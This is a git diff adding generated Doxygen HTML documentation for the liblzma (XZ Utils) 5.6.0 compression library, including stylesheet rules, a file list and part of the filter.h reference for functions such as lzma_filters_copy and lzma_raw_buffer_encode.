left: 10px; + height: 36px; + background-image: var(--nav-gradient-image); + z-index: 101; + overflow: hidden; + font-size: 13px; +} + +.navpath ul +{ + font-size: 11px; + background-image: var(--nav-gradient-image); + background-repeat:repeat-x; + background-position: 0 -5px; + height:30px; + line-height:30px; + color:var(--nav-text-normal-color); + border:solid 1px var(--nav-breadcrumb-border-color); + overflow:hidden; + margin:0px; + padding:0px; +} + +.navpath li +{ + list-style-type:none; + float:left; + padding-left:10px; + padding-right:15px; + background-image:var(--nav-breadcrumb-image); + background-repeat:no-repeat; + background-position:right; + color: var(--nav-foreground-color); +} + +.navpath li.navelem a +{ + height:32px; + display:block; + text-decoration: none; + outline: none; + color: var(--nav-text-normal-color); + font-family: var(--font-family-nav); + text-shadow: var(--nav-text-normal-shadow); + text-decoration: none; +} + +.navpath li.navelem a:hover +{ + color: var(--nav-text-hover-color); + text-shadow: var(--nav-text-hover-shadow); +} + +.navpath li.footer +{ + list-style-type:none; + float:right; + padding-left:10px; + padding-right:15px; + background-image:none; + background-repeat:no-repeat; + background-position:right; + color: var(--footer-foreground-color); + font-size: 8pt; +} + + +div.summary +{ + float: right; + font-size: 8pt; + padding-right: 5px; + width: 50%; + text-align: right; +} + +div.summary a +{ + white-space: nowrap; +} + +table.classindex +{ + margin: 10px; + white-space: nowrap; + margin-left: 3%; + margin-right: 3%; + width: 94%; + border: 0; + border-spacing: 0; + padding: 0; +} + +div.ingroups +{ + font-size: 8pt; + width: 50%; + text-align: left; +} + +div.ingroups a +{ + white-space: nowrap; +} + +div.header +{ + background-image: var(--header-gradient-image); + background-repeat:repeat-x; + background-color: var(--header-background-color); + margin: 0px; + border-bottom: 1px solid var(--header-separator-color); +} + +div.headertitle +{ + padding: 5px 5px 5px 10px; +} + +.PageDocRTL-title div.headertitle { + text-align: right; + direction: rtl; +} + +dl { + padding: 0 0 0 0; +} + +/* dl.note, dl.warning, dl.attention, dl.pre, dl.post, dl.invariant, dl.deprecated, dl.todo, dl.test, dl.bug, dl.examples */ +dl.section { + margin-left: 0px; + padding-left: 0px; +} + +dl.note { + margin-left: -7px; + padding-left: 3px; + border-left: 4px solid; + border-color: #D0C000; +} + +dl.warning, dl.attention { + margin-left: -7px; + padding-left: 3px; + border-left: 4px solid; + border-color: #FF0000; +} + +dl.pre, dl.post, dl.invariant { + margin-left: -7px; + padding-left: 3px; + border-left: 4px solid; + border-color: #00D000; +} + +dl.deprecated { + margin-left: -7px; + padding-left: 3px; + border-left: 4px solid; + border-color: #505050; +} + +dl.todo { + margin-left: -7px; + padding-left: 3px; + border-left: 4px solid; + border-color: #00C0E0; +} + +dl.test { + margin-left: -7px; + padding-left: 3px; + border-left: 4px solid; + border-color: #3030E0; +} + +dl.bug { + margin-left: -7px; + padding-left: 3px; + border-left: 4px solid; + border-color: #C08050; +} + +dl.section dd { + margin-bottom: 6px; +} + + +#projectrow +{ + height: 56px; +} + +#projectlogo +{ + text-align: center; + vertical-align: bottom; + border-collapse: separate; +} + +#projectlogo img +{ + border: 0px none; +} + +#projectalign +{ + vertical-align: middle; + padding-left: 0.5em; +} + +#projectname +{ + font-size: 200%; + font-family: var(--font-family-title); + margin: 0px; + padding: 2px 0px; +} + +#projectbrief +{ + font-size: 90%; + font-family: var(--font-family-title); + margin: 0px; + padding: 0px; +} + +#projectnumber +{ + font-size: 50%; + font-family: 50% var(--font-family-title); + margin: 0px; + padding: 0px; +} + +#titlearea +{ + padding: 0px; + margin: 0px; + width: 100%; + border-bottom: 1px solid var(--title-separator-color); + background-color: var(--title-background-color); +} + +.image +{ + text-align: center; +} + +.dotgraph +{ + text-align: center; +} + +.mscgraph +{ + text-align: center; +} + +.plantumlgraph +{ + text-align: center; +} + +.diagraph +{ + text-align: center; +} + +.caption +{ + font-weight: bold; +} + +dl.citelist { + margin-bottom:50px; +} + +dl.citelist dt { + color:var(--citation-label-color); + float:left; + font-weight:bold; + margin-right:10px; + padding:5px; + text-align:right; + width:52px; +} + +dl.citelist dd { + margin:2px 0 2px 72px; + padding:5px 0; +} + +div.toc { + padding: 14px 25px; + background-color: var(--toc-background-color); + border: 1px solid var(--toc-border-color); + border-radius: 7px 7px 7px 7px; + float: right; + height: auto; + margin: 0 8px 10px 10px; + width: 200px; +} + +div.toc li { + background: var(--toc-down-arrow-image) no-repeat scroll 0 5px transparent; + font: 10px/1.2 var(--font-family-toc); + margin-top: 5px; + padding-left: 10px; + padding-top: 2px; +} + +div.toc h3 { + font: bold 12px/1.2 var(--font-family-toc); + color: var(--toc-header-color); + border-bottom: 0 none; + margin: 0; +} + +div.toc ul { + list-style: none outside none; + border: medium none; + padding: 0px; +} + +div.toc li.level1 { + margin-left: 0px; +} + +div.toc li.level2 { + margin-left: 15px; +} + +div.toc li.level3 { + margin-left: 15px; +} + +div.toc li.level4 { + margin-left: 15px; +} + +span.emoji { + /* font family used at the site: https://unicode.org/emoji/charts/full-emoji-list.html + * font-family: "Noto Color Emoji", "Apple Color Emoji", "Segoe UI Emoji", Times, Symbola, Aegyptus, Code2000, Code2001, Code2002, Musica, serif, LastResort; + */ +} + +span.obfuscator { + display: none; +} + +.inherit_header { + font-weight: bold; + color: var(--inherit-header-color); + cursor: pointer; + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +.inherit_header td { + padding: 6px 0px 2px 5px; +} + +.inherit { + display: none; +} + +tr.heading h2 { + margin-top: 12px; + margin-bottom: 4px; +} + +/* tooltip related style info */ + +.ttc { + position: absolute; + display: none; +} + +#powerTip { + cursor: default; + /*white-space: nowrap;*/ + color: var(--tooltip-foreground-color); + background-color: var(--tooltip-background-color); + border: 1px solid var(--tooltip-border-color); + border-radius: 4px 4px 4px 4px; + box-shadow: var(--tooltip-shadow); + display: none; + font-size: smaller; + max-width: 80%; + opacity: 0.9; + padding: 1ex 1em 1em; + position: absolute; + z-index: 2147483647; +} + +#powerTip div.ttdoc { + color: var(--tooltip-doc-color); + font-style: italic; +} + +#powerTip div.ttname a { + font-weight: bold; +} + +#powerTip a { + color: var(--tooltip-link-color); +} + +#powerTip div.ttname { + font-weight: bold; +} + +#powerTip div.ttdeci { + color: var(--tooltip-declaration-color); +} + +#powerTip div { + margin: 0px; + padding: 0px; + font-size: 12px; + font-family: var(--font-family-tooltip); + line-height: 16px; +} + +#powerTip:before, #powerTip:after { + content: ""; + position: absolute; + margin: 0px; +} + +#powerTip.n:after, #powerTip.n:before, +#powerTip.s:after, #powerTip.s:before, +#powerTip.w:after, #powerTip.w:before, +#powerTip.e:after, #powerTip.e:before, +#powerTip.ne:after, #powerTip.ne:before, +#powerTip.se:after, #powerTip.se:before, +#powerTip.nw:after, #powerTip.nw:before, +#powerTip.sw:after, #powerTip.sw:before { + border: solid transparent; + content: " "; + height: 0; + width: 0; + position: absolute; +} + +#powerTip.n:after, #powerTip.s:after, +#powerTip.w:after, #powerTip.e:after, +#powerTip.nw:after, #powerTip.ne:after, +#powerTip.sw:after, #powerTip.se:after { + border-color: rgba(255, 255, 255, 0); +} + +#powerTip.n:before, #powerTip.s:before, +#powerTip.w:before, #powerTip.e:before, +#powerTip.nw:before, #powerTip.ne:before, +#powerTip.sw:before, #powerTip.se:before { + border-color: rgba(128, 128, 128, 0); +} + +#powerTip.n:after, #powerTip.n:before, +#powerTip.ne:after, #powerTip.ne:before, +#powerTip.nw:after, #powerTip.nw:before { + top: 100%; +} + +#powerTip.n:after, #powerTip.ne:after, #powerTip.nw:after { + border-top-color: var(--tooltip-background-color); + border-width: 10px; + margin: 0px -10px; +} +#powerTip.n:before, #powerTip.ne:before, #powerTip.nw:before { + border-top-color: var(--tooltip-border-color); + border-width: 11px; + margin: 0px -11px; +} +#powerTip.n:after, #powerTip.n:before { + left: 50%; +} + +#powerTip.nw:after, #powerTip.nw:before { + right: 14px; +} + +#powerTip.ne:after, #powerTip.ne:before { + left: 14px; +} + +#powerTip.s:after, #powerTip.s:before, +#powerTip.se:after, #powerTip.se:before, +#powerTip.sw:after, #powerTip.sw:before { + bottom: 100%; +} + +#powerTip.s:after, #powerTip.se:after, #powerTip.sw:after { + border-bottom-color: var(--tooltip-background-color); + border-width: 10px; + margin: 0px -10px; +} + +#powerTip.s:before, #powerTip.se:before, #powerTip.sw:before { + border-bottom-color: var(--tooltip-border-color); + border-width: 11px; + margin: 0px -11px; +} + +#powerTip.s:after, #powerTip.s:before { + left: 50%; +} + +#powerTip.sw:after, #powerTip.sw:before { + right: 14px; +} + +#powerTip.se:after, #powerTip.se:before { + left: 14px; +} + +#powerTip.e:after, #powerTip.e:before { + left: 100%; +} +#powerTip.e:after { + border-left-color: var(--tooltip-border-color); + border-width: 10px; + top: 50%; + margin-top: -10px; +} +#powerTip.e:before { + border-left-color: var(--tooltip-border-color); + border-width: 11px; + top: 50%; + margin-top: -11px; +} + +#powerTip.w:after, #powerTip.w:before { + right: 100%; +} +#powerTip.w:after { + border-right-color: var(--tooltip-border-color); + border-width: 10px; + top: 50%; + margin-top: -10px; +} +#powerTip.w:before { + border-right-color: var(--tooltip-border-color); + border-width: 11px; + top: 50%; + margin-top: -11px; +} + +@media print +{ + #top { display: none; } + #side-nav { display: none; } + #nav-path { display: none; } + body { overflow:visible; } + h1, h2, h3, h4, h5, h6 { page-break-after: avoid; } + .summary { display: none; } + .memitem { page-break-inside: avoid; } + #doc-content + { + margin-left:0 !important; + height:auto !important; + width:auto !important; + overflow:inherit; + display:inline; + } +} + +/* @group Markdown */ + +table.markdownTable { + border-collapse:collapse; + margin-top: 4px; + margin-bottom: 4px; +} + +table.markdownTable td, table.markdownTable th { + border: 1px solid var(--table-cell-border-color); + padding: 3px 7px 2px; +} + +table.markdownTable tr { +} + +th.markdownTableHeadLeft, th.markdownTableHeadRight, th.markdownTableHeadCenter, th.markdownTableHeadNone { + background-color: var(--table-header-background-color); + color: var(--table-header-foreground-color); + font-size: 110%; + padding-bottom: 4px; + padding-top: 5px; +} + +th.markdownTableHeadLeft, td.markdownTableBodyLeft { + text-align: left +} + +th.markdownTableHeadRight, td.markdownTableBodyRight { + text-align: right +} + +th.markdownTableHeadCenter, td.markdownTableBodyCenter { + text-align: center +} + +tt, code, kbd, samp +{ + display: inline-block; +} +/* @end */ + +u { + text-decoration: underline; +} + +details>summary { + list-style-type: none; +} + +details > summary::-webkit-details-marker { + display: none; +} + +details>summary::before { + content: "\25ba"; + padding-right:4px; + font-size: 80%; +} + +details[open]>summary::before { + content: "\25bc"; + padding-right:4px; + font-size: 80%; +} + +body { + scrollbar-color: var(--scrollbar-thumb-color) var(--scrollbar-background-color); +} + +::-webkit-scrollbar { + background-color: var(--scrollbar-background-color); + height: 12px; + width: 12px; +} +::-webkit-scrollbar-thumb { + border-radius: 6px; + box-shadow: inset 0 0 12px 12px var(--scrollbar-thumb-color); + border: solid 2px transparent; +} +::-webkit-scrollbar-corner { + background-color: var(--scrollbar-background-color); +} + diff --git a/doc/api/doxygen.svg b/doc/api/doxygen.svg new file mode 100644 index 00000000..363aa45f --- /dev/null +++ b/doc/api/doxygen.svg @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/doc/api/files.html b/doc/api/files.html new file mode 100644 index 00000000..d8838b38 --- /dev/null +++ b/doc/api/files.html @@ -0,0 +1,80 @@ + + + + + + + +liblzma (XZ Utils): File List + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + +
+
+
File List
+
+
+
Here is a list of all documented files with brief descriptions:
+
[detail level 12]
+ + + + + + + + + + + + + + + + +
  lzma
 base.hData types and functions used in many places in liblzma API
 bcj.hBranch/Call/Jump conversion filters
 block.h.xz Block handling
 check.hIntegrity checks
 container.hFile formats
 delta.hDelta filter
 filter.hCommon filter related types and functions
 hardware.hHardware information
 index.hHandling of .xz Index and related information
 index_hash.hValidate Index by using a hash function
 lzma12.hLZMA1 and LZMA2 filters
 stream_flags.h.xz Stream Header and Stream Footer encoder and decoder
 version.hVersion number
 vli.hVariable-length integer handling
 lzma.hThe public API of liblzma data compression library
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/filter_8h.html b/doc/api/filter_8h.html new file mode 100644 index 00000000..cb4477e3 --- /dev/null +++ b/doc/api/filter_8h.html @@ -0,0 +1,1348 @@ + + + + + + + +liblzma (XZ Utils): lzma/filter.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
filter.h File Reference
+
+
+ +

Common filter related types and functions. +More...

+ + + + + +

+Data Structures

struct  lzma_filter
 Filter options. More...
 
+ + + + + + + + + + + + + + + + + + + + + + +

+Macros

#define LZMA_FILTERS_MAX   4
 Maximum number of filters in a chain.
 
#define LZMA_STR_ALL_FILTERS   UINT32_C(0x01)
 Allow or show all filters.
 
#define LZMA_STR_NO_VALIDATION   UINT32_C(0x02)
 Do not validate the filter chain in lzma_str_to_filters()
 
#define LZMA_STR_ENCODER   UINT32_C(0x10)
 Stringify encoder options.
 
#define LZMA_STR_DECODER   UINT32_C(0x20)
 Stringify decoder options.
 
#define LZMA_STR_GETOPT_LONG   UINT32_C(0x40)
 Produce xz-compatible getopt_long() syntax.
 
#define LZMA_STR_NO_SPACES   UINT32_C(0x80)
 Use two dashes "--" instead of a space to separate filters.
 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Functions

lzma_bool lzma_filter_encoder_is_supported (lzma_vli id) lzma_nothrow lzma_attr_const
 Test if the given Filter ID is supported for encoding.
 
lzma_bool lzma_filter_decoder_is_supported (lzma_vli id) lzma_nothrow lzma_attr_const
 Test if the given Filter ID is supported for decoding.
 
lzma_ret lzma_filters_copy (const lzma_filter *src, lzma_filter *dest, const lzma_allocator *allocator) lzma_nothrow lzma_attr_warn_unused_result
 Copy the filters array.
 
void lzma_filters_free (lzma_filter *filters, const lzma_allocator *allocator) lzma_nothrow
 Free the options in the array of lzma_filter structures.
 
uint64_t lzma_raw_encoder_memusage (const lzma_filter *filters) lzma_nothrow lzma_attr_pure
 Calculate approximate memory requirements for raw encoder.
 
uint64_t lzma_raw_decoder_memusage (const lzma_filter *filters) lzma_nothrow lzma_attr_pure
 Calculate approximate memory requirements for raw decoder.
 
lzma_ret lzma_raw_encoder (lzma_stream *strm, const lzma_filter *filters) lzma_nothrow lzma_attr_warn_unused_result
 Initialize raw encoder.
 
lzma_ret lzma_raw_decoder (lzma_stream *strm, const lzma_filter *filters) lzma_nothrow lzma_attr_warn_unused_result
 Initialize raw decoder.
 
lzma_ret lzma_filters_update (lzma_stream *strm, const lzma_filter *filters) lzma_nothrow
 Update the filter chain in the encoder.
 
lzma_ret lzma_raw_buffer_encode (const lzma_filter *filters, const lzma_allocator *allocator, const uint8_t *in, size_t in_size, uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow
 Single-call raw encoder.
 
lzma_ret lzma_raw_buffer_decode (const lzma_filter *filters, const lzma_allocator *allocator, const uint8_t *in, size_t *in_pos, size_t in_size, uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow
 Single-call raw decoder.
 
lzma_ret lzma_properties_size (uint32_t *size, const lzma_filter *filter) lzma_nothrow
 Get the size of the Filter Properties field.
 
lzma_ret lzma_properties_encode (const lzma_filter *filter, uint8_t *props) lzma_nothrow
 Encode the Filter Properties field.
 
lzma_ret lzma_properties_decode (lzma_filter *filter, const lzma_allocator *allocator, const uint8_t *props, size_t props_size) lzma_nothrow
 Decode the Filter Properties field.
 
lzma_ret lzma_filter_flags_size (uint32_t *size, const lzma_filter *filter) lzma_nothrow lzma_attr_warn_unused_result
 Calculate encoded size of a Filter Flags field.
 
lzma_ret lzma_filter_flags_encode (const lzma_filter *filter, uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow lzma_attr_warn_unused_result
 Encode Filter Flags into given buffer.
 
lzma_ret lzma_filter_flags_decode (lzma_filter *filter, const lzma_allocator *allocator, const uint8_t *in, size_t *in_pos, size_t in_size) lzma_nothrow lzma_attr_warn_unused_result
 Decode Filter Flags from given buffer.
 
const char * lzma_str_to_filters (const char *str, int *error_pos, lzma_filter *filters, uint32_t flags, const lzma_allocator *allocator) lzma_nothrow lzma_attr_warn_unused_result
 Convert a string to a filter chain.
 
lzma_ret lzma_str_from_filters (char **str, const lzma_filter *filters, uint32_t flags, const lzma_allocator *allocator) lzma_nothrow lzma_attr_warn_unused_result
 Convert a filter chain to a string.
 
lzma_ret lzma_str_list_filters (char **str, lzma_vli filter_id, uint32_t flags, const lzma_allocator *allocator) lzma_nothrow lzma_attr_warn_unused_result
 List available filters and/or their options (for help message)
 
+

Detailed Description

+

Common filter related types and functions.

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Macro Definition Documentation

+ +

◆ LZMA_FILTERS_MAX

+ +
+
+ + + + +
#define LZMA_FILTERS_MAX   4
+
+ +

Maximum number of filters in a chain.

+

A filter chain can have 1-4 filters, of which three are allowed to change the size of the data. Usually only one or two filters are needed.

+ +
+
+ +

◆ LZMA_STR_ALL_FILTERS

+ +
+
+ + + + +
#define LZMA_STR_ALL_FILTERS   UINT32_C(0x01)
+
+ +

Allow or show all filters.

+

By default only the filters supported in the .xz format are accept by lzma_str_to_filters() or shown by lzma_str_list_filters().

+ +
+
+ +

◆ LZMA_STR_NO_VALIDATION

+ +
+
+ + + + +
#define LZMA_STR_NO_VALIDATION   UINT32_C(0x02)
+
+ +

Do not validate the filter chain in lzma_str_to_filters()

+

By default lzma_str_to_filters() can return an error if the filter chain as a whole isn't usable in the .xz format or in the raw encoder or decoder. With this flag, this validation is skipped. This flag doesn't affect the handling of the individual filter options. To allow non-.xz filters also LZMA_STR_ALL_FILTERS is needed.

+ +
+
+ +

◆ LZMA_STR_ENCODER

+ +
+
+ + + + +
#define LZMA_STR_ENCODER   UINT32_C(0x10)
+
+ +

Stringify encoder options.

+

Show the filter-specific options that the encoder will use. This may be useful for verbose diagnostic messages.

+

Note that if options were decoded from .xz headers then the encoder options may be undefined. This flag shouldn't be used in such a situation.

+ +
+
+ +

◆ LZMA_STR_DECODER

+ +
+
+ + + + +
#define LZMA_STR_DECODER   UINT32_C(0x20)
+
+ +

Stringify decoder options.

+

Show the filter-specific options that the decoder will use. This may be useful for showing what filter options were decoded from file headers.

+ +
+
+ +

◆ LZMA_STR_GETOPT_LONG

+ +
+
+ + + + +
#define LZMA_STR_GETOPT_LONG   UINT32_C(0x40)
+
+ +

Produce xz-compatible getopt_long() syntax.

+

That is, "delta:dist=2 lzma2:dict=4MiB,pb=1,lp=1" becomes "--delta=dist=2 --lzma2=dict=4MiB,pb=1,lp=1".

+

This syntax is compatible with xz 5.0.0 as long as the filters and their options are supported too.

+ +
+
+ +

◆ LZMA_STR_NO_SPACES

+ +
+
+ + + + +
#define LZMA_STR_NO_SPACES   UINT32_C(0x80)
+
+ +

Use two dashes "--" instead of a space to separate filters.

+

That is, "delta:dist=2 lzma2:pb=1,lp=1" becomes "delta:dist=2--lzma2:pb=1,lp=1". This looks slightly odd but this kind of strings should be usable on the command line without quoting. However, it is possible that future versions with new filter options might produce strings that require shell quoting anyway as the exact set of possible characters isn't frozen for now.

+

It is guaranteed that the single quote (') will never be used in filter chain strings (even if LZMA_STR_NO_SPACES isn't used).

+ +
+
+

Function Documentation

+ +

◆ lzma_filter_encoder_is_supported()

+ +
+
+ + + + + + + + +
lzma_bool lzma_filter_encoder_is_supported (lzma_vli id) const
+
+ +

Test if the given Filter ID is supported for encoding.

+
Parameters
+ + +
idFilter ID
+
+
+
Returns
lzma_bool:
    +
  • true if the Filter ID is supported for encoding by this liblzma build.
  • +
  • false otherwise.
  • +
+
+ +
+
+ +

◆ lzma_filter_decoder_is_supported()

+ +
+
+ + + + + + + + +
lzma_bool lzma_filter_decoder_is_supported (lzma_vli id) const
+
+ +

Test if the given Filter ID is supported for decoding.

+
Parameters
+ + +
idFilter ID
+
+
+
Returns
lzma_bool:
    +
  • true if the Filter ID is supported for decoding by this liblzma build.
  • +
  • false otherwise.
  • +
+
+ +
+
+ +

◆ lzma_filters_copy()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_filters_copy (const lzma_filtersrc,
lzma_filterdest,
const lzma_allocatorallocator 
)
+
+ +

Copy the filters array.

+

Copy the Filter IDs and filter-specific options from src to dest. Up to LZMA_FILTERS_MAX filters are copied, plus the terminating .id == LZMA_VLI_UNKNOWN. Thus, dest should have at least LZMA_FILTERS_MAX + 1 elements space unless the caller knows that src is smaller than that.

+

Unless the filter-specific options is NULL, the Filter ID has to be supported by liblzma, because liblzma needs to know the size of every filter-specific options structure. The filter-specific options are not validated. If options is NULL, any unsupported Filter IDs are copied without returning an error.

+

Old filter-specific options in dest are not freed, so dest doesn't need to be initialized by the caller in any way.

+

If an error occurs, memory possibly already allocated by this function is always freed. liblzma versions older than 5.2.7 may modify the dest array and leave its contents in an undefined state if an error occurs. liblzma 5.2.7 and newer only modify the dest array when returning LZMA_OK.

+
Parameters
+ + + + +
srcArray of filters terminated with .id == LZMA_VLI_UNKNOWN.
[out]destDestination filter array
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_OPTIONS_ERROR: Unsupported Filter ID and its options is not NULL.
  • +
  • LZMA_PROG_ERROR: src or dest is NULL.
  • +
+
+ +
+
+ +

◆ lzma_filters_free()

+ +
+
+ + + + + + + + + + + + + + + + + + +
void lzma_filters_free (lzma_filterfilters,
const lzma_allocatorallocator 
)
+
+ +

Free the options in the array of lzma_filter structures.

+

This frees the filter chain options. The filters array itself is not freed.

+

The filters array must have at most LZMA_FILTERS_MAX + 1 elements including the terminating element which must have .id = LZMA_VLI_UNKNOWN. For all elements before the terminating element:

    +
  • options will be freed using the given lzma_allocator or, if allocator is NULL, using free().
  • +
  • options will be set to NULL.
  • +
  • id will be set to LZMA_VLI_UNKNOWN.
  • +
+

If filters is NULL, this does nothing. Again, this never frees the filters array itself.

+
Parameters
+ + + +
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
+
+
+ +
+
+ +

◆ lzma_raw_encoder_memusage()

+ +
+
+ + + + + + + + +
uint64_t lzma_raw_encoder_memusage (const lzma_filterfilters)
+
+ +

Calculate approximate memory requirements for raw encoder.

+

This function can be used to calculate the memory requirements for Block and Stream encoders too because Block and Stream encoders don't need significantly more memory than raw encoder.

+
Parameters
+ + +
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN.
+
+
+
Returns
Number of bytes of memory required for the given filter chain when encoding or UINT64_MAX on error.
+ +
+
+ +

◆ lzma_raw_decoder_memusage()

+ +
+
+ + + + + + + + +
uint64_t lzma_raw_decoder_memusage (const lzma_filterfilters)
+
+ +

Calculate approximate memory requirements for raw decoder.

+

This function can be used to calculate the memory requirements for Block and Stream decoders too because Block and Stream decoders don't need significantly more memory than raw decoder.

+
Parameters
+ + +
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN.
+
+
+
Returns
Number of bytes of memory required for the given filter chain when decoding or UINT64_MAX on error.
+ +
+
+ +

◆ lzma_raw_encoder()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_raw_encoder (lzma_streamstrm,
const lzma_filterfilters 
)
+
+ +

Initialize raw encoder.

+

This function may be useful when implementing custom file formats.

+

The 'action' with lzma_code() can be LZMA_RUN, LZMA_SYNC_FLUSH (if the filter chain supports it), or LZMA_FINISH.

+
Parameters
+ + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_raw_decoder()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_raw_decoder (lzma_streamstrm,
const lzma_filterfilters 
)
+
+ +

Initialize raw decoder.

+

The initialization of raw decoder goes similarly to raw encoder.

+

The 'action' with lzma_code() can be LZMA_RUN or LZMA_FINISH. Using LZMA_FINISH is not required, it is supported just for convenience.

+
Parameters
+ + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_filters_update()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_filters_update (lzma_streamstrm,
const lzma_filterfilters 
)
+
+ +

Update the filter chain in the encoder.

+

This function may be called after lzma_code() has returned LZMA_STREAM_END when LZMA_FULL_BARRIER, LZMA_FULL_FLUSH, or LZMA_SYNC_FLUSH was used:

+
    +
  • After LZMA_FULL_BARRIER or LZMA_FULL_FLUSH: Single-threaded .xz Stream encoder (lzma_stream_encoder()) and (since liblzma 5.4.0) multi-threaded Stream encoder (lzma_stream_encoder_mt()) allow setting a new filter chain to be used for the next Block(s).
  • +
  • After LZMA_SYNC_FLUSH: Raw encoder (lzma_raw_encoder()), Block encoder (lzma_block_encoder()), and single-threaded .xz Stream encoder (lzma_stream_encoder()) allow changing certain filter-specific options in the middle of encoding. The actual filters in the chain (Filter IDs) must not be changed! Currently only the lc, lp, and pb options of LZMA2 (not LZMA1) can be changed this way.
  • +
  • In the future some filters might allow changing some of their options without any barrier or flushing but currently such filters don't exist.
  • +
+

This function may also be called when no data has been compressed yet although this is rarely useful. In that case, this function will behave as if LZMA_FULL_FLUSH (Stream encoders) or LZMA_SYNC_FLUSH (Raw or Block encoder) had been used right before calling this function.

+
Parameters
+ + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_MEMLIMIT_ERROR
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_raw_buffer_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_raw_buffer_encode (const lzma_filterfilters,
const lzma_allocatorallocator,
const uint8_t * in,
size_t in_size,
uint8_t * out,
size_t * out_pos,
size_t out_size 
)
+
+ +

Single-call raw encoder.

+
Note
There is no function to calculate how big output buffer would surely be big enough. (lzma_stream_buffer_bound() works only for lzma_stream_buffer_encode(); raw encoder won't necessarily meet that bound.)
+
Parameters
+ + + + + + + + +
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
inBeginning of the input buffer
in_sizeSize of the input buffer
[out]outBeginning of the output buffer
[out]out_posThe next byte will be written to out[*out_pos]. *out_pos is updated only if encoding succeeds.
out_sizeSize of the out buffer; the first byte into which no data is written to is out[out_size].
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Encoding was successful.
  • +
  • LZMA_BUF_ERROR: Not enough output buffer space.
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_DATA_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_raw_buffer_decode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_raw_buffer_decode (const lzma_filterfilters,
const lzma_allocatorallocator,
const uint8_t * in,
size_t * in_pos,
size_t in_size,
uint8_t * out,
size_t * out_pos,
size_t out_size 
)
+
+ +

Single-call raw decoder.

+
Parameters
+ + + + + + + + + +
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
inBeginning of the input buffer
in_posThe next byte will be read from in[*in_pos]. *in_pos is updated only if decoding succeeds.
in_sizeSize of the input buffer; the first byte that won't be read is in[in_size].
[out]outBeginning of the output buffer
[out]out_posThe next byte will be written to out[*out_pos]. *out_pos is updated only if encoding succeeds.
out_sizeSize of the out buffer; the first byte into which no data is written to is out[out_size].
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Decoding was successful.
  • +
  • LZMA_BUF_ERROR: Not enough output buffer space.
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_DATA_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_properties_size()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_properties_size (uint32_t * size,
const lzma_filterfilter 
)
+
+ +

Get the size of the Filter Properties field.

+

This function may be useful when implementing custom file formats using the raw encoder and decoder.

+
Note
This function validates the Filter ID, but does not necessarily validate the options. Thus, it is possible that this returns LZMA_OK while the following call to lzma_properties_encode() returns LZMA_OPTIONS_ERROR.
+
Parameters
+ + + +
[out]sizePointer to uint32_t to hold the size of the properties
filterFilter ID and options (the size of the properties may vary depending on the options)
+
+
+
Returns
Possible lzma_ret values:
    +
